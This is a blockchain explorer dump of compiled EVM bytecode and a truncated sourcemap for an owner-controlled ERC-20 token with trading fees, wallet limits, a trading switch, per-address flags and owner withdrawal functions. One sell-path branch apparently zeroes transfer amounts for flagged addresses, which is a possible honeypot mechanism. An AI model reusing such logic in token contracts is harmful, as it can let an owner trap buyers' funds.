0fd5b5061030d610501366004611d95565b6001600160a01b03165f9081526005602052604090205490565b348015610526575f80fd5b506102fb610b60565b34801561053a575f80fd5b5060105461038d90630100000090046001600160a01b031681565b348015610560575f80fd5b5060125461038d906001600160a01b031681565b34801561057f575f80fd5b505f546001600160a01b031661038d565b34801561059b575f80fd5b506010546102d790610100900460ff1681565b3480156105b9575f80fd5b506102a2610bd1565b3480156105cd575f80fd5b506102d76105dc366004611d95565b60096020525f908152604090205460ff1681565b3480156105fb575f80fd5b506102fb61060a366004611d2d565b610be0565b34801561061a575f80fd5b506102fb610d23565b34801561062e575f80fd5b506010546102d79060ff1681565b348015610647575f80fd5b506102d7610656366004611d2d565b610fce565b348015610666575f80fd5b506102fb610675366004611d95565b611004565b348015610685575f80fd5b506102fb610694366004611dbd565b61104f565b3480156106a4575f80fd5b506102d76106b3366004611d2d565b6110a2565b3480156106c3575f80fd5b506102fb6106d2366004611e14565b6110ae565b3480156106e2575f80fd5b506102fb6106f1366004611df4565b6110f1565b348015610701575f80fd5b506010546102d79062010000900460ff1681565b348015610720575f80fd5b5061030d600f5481565b348015610735575f80fd5b506102d7610744366004611d95565b60086020525f908152604090205460ff1681565b348015610763575f80fd5b5061030d610772366004611e2f565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b3480156107a7575f80fd5b506102fb6107b6366004611dbd565b61113a565b3480156107c6575f80fd5b5061030d6107d5366004611e5b565b61118d565b3480156107e5575f80fd5b506102fb6107f4366004611e14565b6111b1565b348015610804575f80fd5b506102fb610813366004611e5b565b6111ed565b348015610823575f80fd5b506102fb610832366004611d95565b611281565b348015610842575f80fd5b5061030d610851366004611e5b565b611368565b348015610861575f80fd5b5061030d600e5481565b60606001805461087a90611e72565b80601f01602080910402602001604051908101604052809291908181526020018280546108a690611e72565b80156108f15780601f106108c8576101008083540402835291602001916108f1565b820191905f5260205f20905b8154815290600101906020018083116108d457829003601f168201915b5050505050905090565b5f61090733848461137b565b5060015b92915050565b5f546001600160a01b031633146109435760405162461bcd60e51b815260040161093a90611eaa565b60405180910390fd5b600454600d819055600c55565b5f61095c848484611487565b6001600160a01b0384165f90815260066020908152604080832033808552925290912054610996918691610991908690611ef3565b61137b565b5060019392505050565b5f546001600160a01b031633146109c95760405162461bcd60e51b815260040161093a90611eaa565b6040516001600160a01b038216904780156108fc02915f818181858888f193505050501580156109fb573d5f803e3d5ffd5b5050565b5f546001600160a01b03163314610a285760405162461bcd60e51b815260040161093a90611eaa565b60105462010000900460ff1615610a735760405162461bcd60e51b815260206004820152600f60248201526e185b1c9958591e48195b98589b1959608a1b604482015260640161093a565b6010805462ffffff19166201010117905542600f55565b5f546001600160a01b03163314610ab35760405162461bcd60e51b815260040161093a90611eaa565b6001600160a01b03919091165f908152600a60205260409020805460ff1916911515919091179055565b335f8181526006602090815260408083206001600160a01b03871684529091528120549091610907918590610991908690611f06565b5f546001600160a01b03163314610b3c5760405162461bcd60e51b815260040161093a90611eaa565b601382905560148190556005821115610b53575f80fd5b60058111156109fb575f80fd5b5f546001600160a01b03163314610b895760405162461bcd60e51b815260040161093a90611eaa565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b60606002805461087a90611e72565b5f546001600160a01b03163314610c095760405162461bcd60e51b815260040161093a90611eaa565b6040516370a0823160e01b815230600482015281906001600160a01b038416906370a0823190602401602060405180830381865afa158015610c4d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c719190611f19565b1015610cb05760405162461bcd60e51b815260206004820152600e60248201526d125b9d985b1a5908105b5bdd5b9d60921b604482015260640161093a565b60405163a9059cbb60e01b8152336004820152602481018290526001600160a01b0383169063a9059cbb906044016020604051808303815f875af1158015610cfa573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d1e9190611f30565b505050565b5f546001600160a01b03163314610d4c5760405162461bcd60e51b815260040161093a90611eaa565b601060039054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d9d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610dc19190611f4b565b6001600160a01b031663c9c6539630601060039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e21573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e459190611f4b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610e8f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610eb39190611f4b565b601180546001600160a01b0319166001600160a01b039283169081179091555f908152600a60205260409020805460ff19166001179055601054600454610f0492309263010000009004169061137b565b601054305f8181526005602052604090205463010000009092046001600160a01b03169163f305d7199147915f80610f435f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610fa9573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610d1e9190611f66565b335f8181526006602090815260408083206001600160a01b03871684529091528120549091610907918590610991908690611ef3565b5f546001600160a01b0316331461102d5760405162461bcd60e51b815260040161093a90611eaa565b601280546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146110785760405162461bcd60e51b815260040161093a90611eaa565b6001600160a01b03919091165f908152600960205260409020805460ff1916911515919091179055565b5f610907338484611487565b5f546001600160a01b031633146110d75760405162461bcd60e51b815260040161093a90611eaa565b601080549115156101000261ff0019909216919091179055565b5f546001600160a01b0316331461111a5760405162461bcd60e51b815260040161093a90611eaa565b80826004546111299190611f91565b6111339190611fa8565b600b555050565b5f546001600160a01b031633146111635760405162461bcd60e51b815260040161093a90611eaa565b6001600160a01b03919091165f908152600760205260409020805460ff1916911515919091179055565b5f80600e54601354846111a09190611f91565b6111aa9190611fa8565b9392505050565b5f546001600160a01b031633146111da5760405162461bcd60e51b815260040161093a90611eaa565b6010805460ff1916911515919091179055565b5f546001600160a01b031633146112165760405162461bcd60e51b815260040161093a90611eaa565b804710156112575760405162461bcd60e51b815260206004820152600e60248201526d125b9d985b1a5908105b5bdd5b9d60921b604482015260640161093a565b604051339082156108fc029083905f818181858888f193505050501580156109fb573d5f803e3d5ffd5b5f546001600160a01b031633146112aa5760405162461bcd60e51b815260040161093a90611eaa565b6001600160a01b03811661130f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161093a565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f80600e54601454846111a09190611f91565b6001600160a01b0383166113d15760405162461bcd60e51b815260206004820152601e60248201527f20617070726f76652066726f6d20746865207a65726f20616464726573730000604482015260640161093a565b6001600160a01b0382166114275760405162461bcd60e51b815260206004820152601b60248201527f617070726f766520746f20746865207a65726f20616464726573730000000000604482015260640161093a565b6001600160a01b038381165f8181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166114dd5760405162461bcd60e51b815260206004820152601e60248201527f7472616e736665722066726f6d20746865207a65726f20616464726573730000604482015260640161093a565b6001600160a01b0382166115335760405162461bcd60e51b815260206004820152601c60248201527f7472616e7366657220746f20746865207a65726f206164647265737300000000604482015260640161093a565b5f81116115825760405162461bcd60e51b815260206004820181905260248201527f416d6f756e74206d7573742062652067726561746572207468616e207a65726f604482015260640161093a565b6001600160a01b0383165f9081526009602052604090205460ff161580156115c257506001600160a01b0382165f9081526009602052604090205460ff16155b156116a157600d548111156116195760405162461bcd60e51b815260206004820152601c60248201527f416d6f756e742065786365656473204d61782074786e206c696d697400000000604482015260640161093a565b60105462010000900460ff166116a1576011546001600160a01b0384811691161480159061165557506011546001600160a01b03838116911614155b6116a15760405162461bcd60e51b815260206004820152601a60248201527f74726164696e67206973206e6f742079657420656e61626c6564000000000000604482015260640161093a565b6001600160a01b0382165f908152600a602052604090205460ff1661173a57600c54816116e2846001600160a01b03165f9081526005602052604090205490565b6116ec9190611f06565b111561173a5760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e742065786365656473204d61782057616c6c6574206c696d697400604482015260640161093a565b6117458383836117b2565b6001600160a01b0383165f9081526007602052604090205460019060ff168061178557506001600160a01b0383165f9081526007602052604090205460ff165b806117985750601054610100900460ff16155b156117a057505f5b6117ac848484846118d8565b50505050565b305f9081526005602052604081205490505f600b5482101580156117d85750600b548310155b90508080156117f457506011546001600160a01b038581169116145b8015611802575060105460ff165b801561182657506001600160a01b0385165f9081526007602052604090205460ff16155b156118d157600b5461183a906103e8611f91565b82111561185357600b54611850906103e8611f91565b91505b601054611872903090630100000090046001600160a01b03168461137b565b60105461188f90630100000090046001600160a01b031683611b0b565b4780156118cf576012546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156118cd573d5f803e3d5ffd5b505b505b5050505050565b6011546001600160a01b0385811691161480156118f25750805b156119cf575f806119028461118d565b915061190e8285611ef3565b6001600160a01b0387165f90815260056020526040902054909150611934908590611ef3565b6001600160a01b038088165f908152600560205260408082209390935590871681522054611963908290611f06565b6001600160a01b038087165f8181526005602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906119b69085815260200190565b60405180910390a36119c88683611c55565b50506117ac565b6011546001600160a01b0384811691161480156119e95750805b15611a58575f6119f883611368565b90505f611a058285611ef3565b6001600160a01b0387165f9081526008602052604090205490915060ff1615611a3557611a328480611ef3565b93505b6001600160a01b0386165f90815260056020526040902054611934908590611ef3565b6001600160a01b0384165f90815260056020526040902054611a7b908390611ef3565b6001600160a01b038086165f908152600560205260408082209390935590851681522054611aaa908390611f06565b6001600160a01b038085165f8181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611afd9086815260200190565b60405180910390a350505050565b60408051600280825260608201835284925f92919060208301908036833701905050905030815f81518110611b4257611b42611fc7565b60200260200101906001600160a01b031690816001600160a01b031681525050816001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b9e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611bc29190611f4b565b81600181518110611bd557611bd5611fc7565b6001600160a01b039283166020918202929092010152821663791ac947845f8430611c024261012c611f06565b6040518663ffffffff1660e01b8152600401611c22959493929190611fdb565b5f604051808303815f87803b158015611c39575f80fd5b505af1158015611c4b573d5f803e3d5ffd5b5050505050505050565b305f90815260056020526040902054611c6f908290611f06565b305f81815260056020526040908190209290925590516001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611cbf9085815260200190565b60405180910390a35050565b5f6020808352835180828501525f5b81811015611cf657858101830151858201604001528201611cda565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611d2a575f80fd5b50565b5f8060408385031215611d3e575f80fd5b8235611d4981611d16565b946020939093013593505050565b5f805f60608486031215611d69575f80fd5b8335611d7481611d16565b92506020840135611d8481611d16565b929592945050506040919091013590565b5f60208284031215611da5575f80fd5b81356111aa81611d16565b8015158114611d2a575f80fd5b5f8060408385031215611dce575f80fd5b8235611dd981611d16565b91506020830135611de981611db0565b809150509250929050565b5f8060408385031215611e05575f80fd5b50508035926020909101359150565b5f60208284031215611e24575f80fd5b81356111aa81611db0565b5f8060408385031215611e40575f80fd5b8235611e4b81611d16565b91506020830135611de981611d16565b5f60208284031215611e6b575f80fd5b5035919050565b600181811c90821680611e8657607f821691505b602082108103611ea457634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561090b5761090b611edf565b8082018082111561090b5761090b611edf565b5f60208284031215611f29575f80fd5b5051919050565b5f60208284031215611f40575f80fd5b81516111aa81611db0565b5f60208284031215611f5b575f80fd5b81516111aa81611d16565b5f805f60608486031215611f78575f80fd5b8351925060208401519150604084015190509250925092565b808202811582820484141761090b5761090b611edf565b5f82611fc257634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156120295784516001600160a01b031683529383019391830191600101612004565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212203af13a9b060524df0c30a14632b7288cbd69424859fed7a0c94d2797b438905864736f6c63430008140033

Deployed Bytecode

0x608060405260043610610283575f3560e01c80638da5cb5b11610155578063b0cd6854116100be578063ed42142911610078578063ed421429146107bb578063ee2e5a2e146107da578063f14210a6146107f9578063f2fde38b14610818578063f4b3dbc314610837578063fe6f1b0514610856575f80fd5b8063b0cd6854146106d7578063bbc0c742146106f6578063bf56b37114610715578063da78876f1461072a578063dd62ed3e14610758578063ea5b9e851461079c575f80fd5b80639f6936e81161010f5780639f6936e814610623578063a457c2d71461063c578063a643c1a01461065b578063a7c29b401461067a578063a9059cbb14610699578063b0bc2a2d146106b8575f80fd5b80638da5cb5b14610574578063958f97351461059057806395d89b41146105ae57806399b102b5146105c25780639e281a98146105f05780639e78fb4f1461060f575f80fd5b80632d461391116101f75780636db79437116101b15780636db794371461049a5780636dd3d39f146104b957806370a08231146104e7578063715018a61461051b578063735de9f71461052f57806375f0a87414610555575f80fd5b80632d461391146103ed578063313ce5671461040257806339509351146104235780635342acb41461044257806366a88d9614610470578063681aa36214610485575f80fd5b806323b872dd1161024857806323b872dd1461033057806325b347bb1461034f57806328ac2d531461036e578063293230b8146103a55780632ce9a4ac146103b95780632d129390146103ce575f80fd5b806306fdde031461028e578063095ea7b3146102b85780630c0d7da6146102e757806318160ddd146102fd5780631884f1e61461031b575f80fd5b3661028a57005b5f80fd5b348015610299575f80fd5b506102a261086b565b6040516102af9190611ccb565b60405180910390f35b3480156102c3575f80fd5b506102d76102d2366004611d2d565b6108fb565b60405190151581526020016102af565b3480156102f2575f80fd5b506102fb610911565b005b348015610308575f80fd5b506004545b6040519081526020016102af565b348015610326575f80fd5b5061030d600b5481565b34801561033b575f80fd5b506102d761034a366004611d57565b610950565b34801561035a575f80fd5b506102fb610369366004611d95565b6109a0565b348015610379575f80fd5b5060115461038d906001600160a01b031681565b6040516001600160a01b0390911681526020016102af565b3480156103b0575f80fd5b506102fb6109ff565b3480156103c4575f80fd5b5061030d60145481565b3480156103d9575f80fd5b506102fb6103e8366004611dbd565b610a8a565b3480156103f8575f80fd5b5061030d60135481565b34801561040d575f80fd5b5060035460405160ff90911681526020016102af565b34801561042e575f80fd5b506102d761043d366004611d2d565b610add565b34801561044d575f80fd5b506102d761045c366004611d95565b60076020525f908152604090205460ff1681565b34801561047b575f80fd5b5061030d600c5481565b348015610490575f80fd5b5061030d600d5481565b3480156104a5575f80fd5b506102fb6104b4366004611df4565b610b13565b3480156104c4575f80fd5b506102d76104d3366004611d95565b600a6020525f908152604090205460ff1681565b3480156104f2575f80fd5b5061030d610501366004611d95565b6001600160a01b03165f9081526005602052604090205490565b348015610526575f80fd5b506102fb610b60565b34801561053a575f80fd5b5060105461038d90630100000090046001600160a01b031681565b348015610560575f80fd5b5060125461038d906001600160a01b031681565b34801561057f575f80fd5b505f546001600160a01b031661038d565b34801561059b575f80fd5b506010546102d790610100900460ff1681565b3480156105b9575f80fd5b506102a2610bd1565b3480156105cd575f80fd5b506102d76105dc366004611d95565b60096020525f908152604090205460ff1681565b3480156105fb575f80fd5b506102fb61060a366004611d2d565b610be0565b34801561061a575f80fd5b506102fb610d23565b34801561062e575f80fd5b506010546102d79060ff1681565b348015610647575f80fd5b506102d7610656366004611d2d565b610fce565b348015610666575f80fd5b506102fb610675366004611d95565b611004565b348015610685575f80fd5b506102fb610694366004611dbd565b61104f565b3480156106a4575f80fd5b506102d76106b3366004611d2d565b6110a2565b3480156106c3575f80fd5b506102fb6106d2366004611e14565b6110ae565b3480156106e2575f80fd5b506102fb6106f1366004611df4565b6110f1565b348015610701575f80fd5b506010546102d79062010000900460ff1681565b348015610720575f80fd5b5061030d600f5481565b348015610735575f80fd5b506102d7610744366004611d95565b60086020525f908152604090205460ff1681565b348015610763575f80fd5b5061030d610772366004611e2f565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b3480156107a7575f80fd5b506102fb6107b6366004611dbd565b61113a565b3480156107c6575f80fd5b5061030d6107d5366004611e5b565b61118d565b3480156107e5575f80fd5b506102fb6107f4366004611e14565b6111b1565b348015610804575f80fd5b506102fb610813366004611e5b565b6111ed565b348015610823575f80fd5b506102fb610832366004611d95565b611281565b348015610842575f80fd5b5061030d610851366004611e5b565b611368565b348015610861575f80fd5b5061030d600e5481565b60606001805461087a90611e72565b80601f01602080910402602001604051908101604052809291908181526020018280546108a690611e72565b80156108f15780601f106108c8576101008083540402835291602001916108f1565b820191905f5260205f20905b8154815290600101906020018083116108d457829003601f168201915b5050505050905090565b5f61090733848461137b565b5060015b92915050565b5f546001600160a01b031633146109435760405162461bcd60e51b815260040161093a90611eaa565b60405180910390fd5b600454600d819055600c55565b5f61095c848484611487565b6001600160a01b0384165f90815260066020908152604080832033808552925290912054610996918691610991908690611ef3565b61137b565b5060019392505050565b5f546001600160a01b031633146109c95760405162461bcd60e51b815260040161093a90611eaa565b6040516001600160a01b038216904780156108fc02915f818181858888f193505050501580156109fb573d5f803e3d5ffd5b5050565b5f546001600160a01b03163314610a285760405162461bcd60e51b815260040161093a90611eaa565b60105462010000900460ff1615610a735760405162461bcd60e51b815260206004820152600f60248201526e185b1c9958591e48195b98589b1959608a1b604482015260640161093a565b6010805462ffffff19166201010117905542600f55565b5f546001600160a01b03163314610ab35760405162461bcd60e51b815260040161093a90611eaa565b6001600160a01b03919091165f908152600a60205260409020805460ff1916911515919091179055565b335f8181526006602090815260408083206001600160a01b03871684529091528120549091610907918590610991908690611f06565b5f546001600160a01b03163314610b3c5760405162461bcd60e51b815260040161093a90611eaa565b601382905560148190556005821115610b53575f80fd5b60058111156109fb575f80fd5b5f546001600160a01b03163314610b895760405162461bcd60e51b815260040161093a90611eaa565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b60606002805461087a90611e72565b5f546001600160a01b03163314610c095760405162461bcd60e51b815260040161093a90611eaa565b6040516370a0823160e01b815230600482015281906001600160a01b038416906370a0823190602401602060405180830381865afa158015610c4d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c719190611f19565b1015610cb05760405162461bcd60e51b815260206004820152600e60248201526d125b9d985b1a5908105b5bdd5b9d60921b604482015260640161093a565b60405163a9059cbb60e01b8152336004820152602481018290526001600160a01b0383169063a9059cbb906044016020604051808303815f875af1158015610cfa573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d1e9190611f30565b505050565b5f546001600160a01b03163314610d4c5760405162461bcd60e51b815260040161093a90611eaa565b601060039054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d9d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610dc19190611f4b565b6001600160a01b031663c9c6539630601060039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e21573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e459190611f4b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610e8f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610eb39190611f4b565b601180546001600160a01b0319166001600160a01b039283169081179091555f908152600a60205260409020805460ff19166001179055601054600454610f0492309263010000009004169061137b565b601054305f8181526005602052604090205463010000009092046001600160a01b03169163f305d7199147915f80610f435f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610fa9573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610d1e9190611f66565b335f8181526006602090815260408083206001600160a01b03871684529091528120549091610907918590610991908690611ef3565b5f546001600160a01b0316331461102d5760405162461bcd60e51b815260040161093a90611eaa565b601280546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146110785760405162461bcd60e51b815260040161093a90611eaa565b6001600160a01b03919091165f908152600960205260409020805460ff1916911515919091179055565b5f610907338484611487565b5f546001600160a01b031633146110d75760405162461bcd60e51b815260040161093a90611eaa565b601080549115156101000261ff0019909216919091179055565b5f546001600160a01b0316331461111a5760405162461bcd60e51b815260040161093a90611eaa565b80826004546111299190611f91565b6111339190611fa8565b600b555050565b5f546001600160a01b031633146111635760405162461bcd60e51b815260040161093a90611eaa565b6001600160a01b03919091165f908152600760205260409020805460ff1916911515919091179055565b5f80600e54601354846111a09190611f91565b6111aa9190611fa8565b9392505050565b5f546001600160a01b031633146111da5760405162461bcd60e51b815260040161093a90611eaa565b6010805460ff1916911515919091179055565b5f546001600160a01b031633146112165760405162461bcd60e51b815260040161093a90611eaa565b804710156112575760405162461bcd60e51b815260206004820152600e60248201526d125b9d985b1a5908105b5bdd5b9d60921b604482015260640161093a565b604051339082156108fc029083905f818181858888f193505050501580156109fb573d5f803e3d5ffd5b5f546001600160a01b031633146112aa5760405162461bcd60e51b815260040161093a90611eaa565b6001600160a01b03811661130f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161093a565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f80600e54601454846111a09190611f91565b6001600160a01b0383166113d15760405162461bcd60e51b815260206004820152601e60248201527f20617070726f76652066726f6d20746865207a65726f20616464726573730000604482015260640161093a565b6001600160a01b0382166114275760405162461bcd60e51b815260206004820152601b60248201527f617070726f766520746f20746865207a65726f20616464726573730000000000604482015260640161093a565b6001600160a01b038381165f8181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166114dd5760405162461bcd60e51b815260206004820152601e60248201527f7472616e736665722066726f6d20746865207a65726f20616464726573730000604482015260640161093a565b6001600160a01b0382166115335760405162461bcd60e51b815260206004820152601c60248201527f7472616e7366657220746f20746865207a65726f206164647265737300000000604482015260640161093a565b5f81116115825760405162461bcd60e51b815260206004820181905260248201527f416d6f756e74206d7573742062652067726561746572207468616e207a65726f604482015260640161093a565b6001600160a01b0383165f9081526009602052604090205460ff161580156115c257506001600160a01b0382165f9081526009602052604090205460ff16155b156116a157600d548111156116195760405162461bcd60e51b815260206004820152601c60248201527f416d6f756e742065786365656473204d61782074786e206c696d697400000000604482015260640161093a565b60105462010000900460ff166116a1576011546001600160a01b0384811691161480159061165557506011546001600160a01b03838116911614155b6116a15760405162461bcd60e51b815260206004820152601a60248201527f74726164696e67206973206e6f742079657420656e61626c6564000000000000604482015260640161093a565b6001600160a01b0382165f908152600a602052604090205460ff1661173a57600c54816116e2846001600160a01b03165f9081526005602052604090205490565b6116ec9190611f06565b111561173a5760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e742065786365656473204d61782057616c6c6574206c696d697400604482015260640161093a565b6117458383836117b2565b6001600160a01b0383165f9081526007602052604090205460019060ff168061178557506001600160a01b0383165f9081526007602052604090205460ff165b806117985750601054610100900460ff16155b156117a057505f5b6117ac848484846118d8565b50505050565b305f9081526005602052604081205490505f600b5482101580156117d85750600b548310155b90508080156117f457506011546001600160a01b038581169116145b8015611802575060105460ff165b801561182657506001600160a01b0385165f9081526007602052604090205460ff16155b156118d157600b5461183a906103e8611f91565b82111561185357600b54611850906103e8611f91565b91505b601054611872903090630100000090046001600160a01b03168461137b565b60105461188f90630100000090046001600160a01b031683611b0b565b4780156118cf576012546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156118cd573d5f803e3d5ffd5b505b505b5050505050565b6011546001600160a01b0385811691161480156118f25750805b156119cf575f806119028461118d565b915061190e8285611ef3565b6001600160a01b0387165f90815260056020526040902054909150611934908590611ef3565b6001600160a01b038088165f908152600560205260408082209390935590871681522054611963908290611f06565b6001600160a01b038087165f8181526005602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906119b69085815260200190565b60405180910390a36119c88683611c55565b50506117ac565b6011546001600160a01b0384811691161480156119e95750805b15611a58575f6119f883611368565b90505f611a058285611ef3565b6001600160a01b0387165f9081526008602052604090205490915060ff1615611a3557611a328480611ef3565b93505b6001600160a01b0386165f90815260056020526040902054611934908590611ef3565b6001600160a01b0384165f90815260056020526040902054611a7b908390611ef3565b6001600160a01b038086165f908152600560205260408082209390935590851681522054611aaa908390611f06565b6001600160a01b038085165f8181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611afd9086815260200190565b60405180910390a350505050565b60408051600280825260608201835284925f92919060208301908036833701905050905030815f81518110611b4257611b42611fc7565b60200260200101906001600160a01b031690816001600160a01b031681525050816001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b9e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611bc29190611f4b565b81600181518110611bd557611bd5611fc7565b6001600160a01b039283166020918202929092010152821663791ac947845f8430611c024261012c611f06565b6040518663ffffffff1660e01b8152600401611c22959493929190611fdb565b5f604051808303815f87803b158015611c39575f80fd5b505af1158015611c4b573d5f803e3d5ffd5b5050505050505050565b305f90815260056020526040902054611c6f908290611f06565b305f81815260056020526040908190209290925590516001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611cbf9085815260200190565b60405180910390a35050565b5f6020808352835180828501525f5b81811015611cf657858101830151858201604001528201611cda565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611d2a575f80fd5b50565b5f8060408385031215611d3e575f80fd5b8235611d4981611d16565b946020939093013593505050565b5f805f60608486031215611d69575f80fd5b8335611d7481611d16565b92506020840135611d8481611d16565b929592945050506040919091013590565b5f60208284031215611da5575f80fd5b81356111aa81611d16565b8015158114611d2a575f80fd5b5f8060408385031215611dce575f80fd5b8235611dd981611d16565b91506020830135611de981611db0565b809150509250929050565b5f8060408385031215611e05575f80fd5b50508035926020909101359150565b5f60208284031215611e24575f80fd5b81356111aa81611db0565b5f8060408385031215611e40575f80fd5b8235611e4b81611d16565b91506020830135611de981611d16565b5f60208284031215611e6b575f80fd5b5035919050565b600181811c90821680611e8657607f821691505b602082108103611ea457634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561090b5761090b611edf565b8082018082111561090b5761090b611edf565b5f60208284031215611f29575f80fd5b5051919050565b5f60208284031215611f40575f80fd5b81516111aa81611db0565b5f60208284031215611f5b575f80fd5b81516111aa81611d16565b5f805f60608486031215611f78575f80fd5b8351925060208401519150604084015190509250925092565b808202811582820484141761090b5761090b611edf565b5f82611fc257634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156120295784516001600160a01b031683529383019391830191600101612004565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212203af13a9b060524df0c30a14632b7288cbd69424859fed7a0c94d2797b438905864736f6c63430008140033

Deployed Bytecode Sourcemap

3213:11444:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6196:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7084:186;;;;;;;;;;-1:-1:-1;7084:186:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7084:186:0;1023:187:1;9503:135:0;;;;;;;;;;;;;:::i;:::-;;6473:100;;;;;;;;;;-1:-1:-1;6553:12:0;;6473:100;;;1361:25:1;;;1349:2;1334:18;6473:100:0;1215:177:1;3810:60:0;;;;;;;;;;;;;;;;7278:350;;;;;;;;;;-1:-1:-1;7278:350:0;;;;;:::i;:::-;;:::i;9893:139::-;;;;;;;;;;-1:-1:-1;9893:139:0;;;;;:::i;:::-;;:::i;4255:25::-;;;;;;;;;;-1:-1:-1;4255:25:0;;;;-1:-1:-1;;;;;4255:25:0;;;;;;-1:-1:-1;;;;;2274:32:1;;;2256:51;;2244:2;2229:18;4255:25:0;2110:203:1;9646:239:0;;;;;;;;;;;;;:::i;4469:32::-;;;;;;;;;;;;;;;;8584:172;;;;;;;;;;-